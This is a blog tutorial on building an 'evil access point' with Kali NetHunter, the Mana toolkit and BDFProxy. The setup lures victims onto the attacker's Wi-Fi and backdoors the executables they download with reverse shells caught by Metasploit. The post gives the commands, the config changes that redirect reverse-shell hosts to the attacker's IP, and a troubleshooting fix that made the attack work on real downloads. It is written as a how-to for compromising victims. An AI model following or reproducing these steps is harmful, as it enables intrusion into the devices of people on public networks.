This post is about setting up an evil access point that will automatically backdoor executables that connected users download. Pretty neat, right?

This tutorial is inspired by muts' NetHunter video of BDFProxy on NetHunter. I am using Kali NetHunter 2.0 running from a Nexus 9. I am using a TP-LINK TLWN722N (the 150Mbps version) as my secondary network interface.

I recently purchased a Nexus 9 tablet and decided to load it up with Kali NetHunter. NetHunter is a release of Kali made specifically for hackers on-the-go. It’s packed with lots of cool stuff like one-click scripts, HID Keyboard attack capabilities plus a bunch of the tools that Kali desktop comes with.

A few tools I will be using:

Mana – Rouge Access Point toolkit. It implements a more advanced version of the Karma attack. The most notable improvement is Mana responds to other AP broadcasts instead of device probes like Karma, but still with the end goal of tricking victims into connecting to the AP you own. Plus, it includes lots of other neat evil AP tricks that are baked right in. For more info on Mana I’d recommend watching the Defcon 22 talk where the tool was release here.

BackdoorFactory BDFProxy – Automatically patches binaries with malicious payloads on the fly via MITM.

False Start

Since I want to also provide victims with Internet access so I can backdoor their downloads I will need another Wi-Fi interface on my Nexus 9. I ended up going with the TP-LINK TLWN722N because of its low power usage and its compatibility with Kali (supports packet injection).

I launched the Kali NetHunter menu and saw a promising looking menu item:



Kali NetHunter comes with Mana already installed and ready to go, or so I thought. Chances are I was doing something wrong, but I was not able to get the built-in one click launcher working out of the box.

It even contained a screen for bdfproxy.cfg! When I started it there was even the option to start with bdf:

But no dice. Even after correcting my upstream device from eth0 to wlan1 and double checking the dhcpd settings in the config file I couldn’t get the thing to run. I couldn't seem to find the output of either Mana or BDFProxy in the logs either.

Setting Up

So, off to the terminal! Home sweet home. I went into the Mana folder and skulked around a little bit:

cd /usr/share/mana-toolkit/run-mana ls –lah

Aha! The start-nat-simple-bdf-lollipop.sh looks promising. Let’s have a look:

Everything looks pretty straightforward actually, which was pleasantly surprising. I never know what to expect with new tools. We assign some variables for devices, enable forwarding, start an access point and DHCP, monkey with the iptables and off we go. The only thing that stumped me at first was the “# Add fking rule to table 1006”.

There are some config files mentioned in there. Let’s make sure they are set up properly. First stop is /etc/mana-toolkit/hostapd-karma.confg :



Next let’s look at /etc/mana-toolkit/dhcpd.conf :



Looks like we’re using Google for DNS and putting our clients on the 10.0.0.0/24 range. Cool beans.

Let’s also take a look at the BDFProxy config file at /etc/bdfproxy/bdfproxy.cfg (config file below truncated to the important parts):



Looks like there is something slightly off here. The IPs configured for our reverse shells ( 192.168.1.168 and 192.168.1.16 ) need to point back to us. According to our dhcpd.conf settings we're going to use the current settings aren't correct. We will be the router IP named in dhcpd.conf , so we need to change bdfproxy.cfg accordingly by setting all the HOSTs to point to us at 10.0.0.1 . Quick replace with sed :

sed –i 's/192.168.1.168/10.0.0.1/g' bdfproxy.cfg sed –I 's/192.168.1.16/10.0.0.1/g' bdfproxy.cfg

The diffs:



Starting up the Machine

Ok, so it’s time to start Mana up:

cd /usr/share/mana-toolkit/run-mana ./start-nat-simple-bdf-lollipop.sh

In a new terminal we start BDFProxy up:

cd /etc/bdfproxy/ ./bdfproxy

Now that BDFProxy is up it has created a Metasploit resource file. It wasn’t entirely obvious at first where this file lived (it is not in /etc/bdfproxy/ ). It turns out the file is here: /usr/share/bdfproxy/bdfproxy_msf_resource.rc

That resource file will help handle reverse shells. Time to open another terminal, navigate there and start up Metasploit:

cd /usr/share/bdfproxy service postresql start cat bdf_msf_resource.rc #sanity check of conents, make sure IP update took msfconsole –r bdfproxy_msf_resource.rc

After Metasploit is fired up we can see the resource file has loaded:



Sweetness.

Here is where I got stuck for a little bit. It appeared everything is set up and working properly. Mana was creating APs and I could connect and get back out to the internet. Iptables set up by Mana are correctly forwarding my traffic from port 80 to 8080 where BDFProxy is waiting. The problem is BDFProxy is failing to transparently proxy connections (mitmproxy underneath is actually failing). I got this error on all HTTP connections from my laptop test machine connected to the evil AP:

HttpError('Invalid HTTP request form (expected: absolute, got: relative)',)

It turns out I missed changing one of the default bdfproxy.cfg settings. The line

transparentProxy = None

Needs to be changed to:

transparentProxy = transparent

After that BDFProxy was able to successfully backdoor executables. I connected to the AP with my laptop and download a file over http. I downloaded Audacity, and also tested with downloading Putty and PSFTP.

Once BDFProxy gets its hooks in the backdoor is dropped in place:



Here is the part that blew me away: executables within zips are backdoored, all done on the fly. How cool is that? For executable formats it not only works for Windows exe/PEs, but it does Linux ELF and Mach-O (that means you OSX!). Very cool stuff.

- UPDATE 11/29/15: I've added some more content about BDFProxy in a new post here.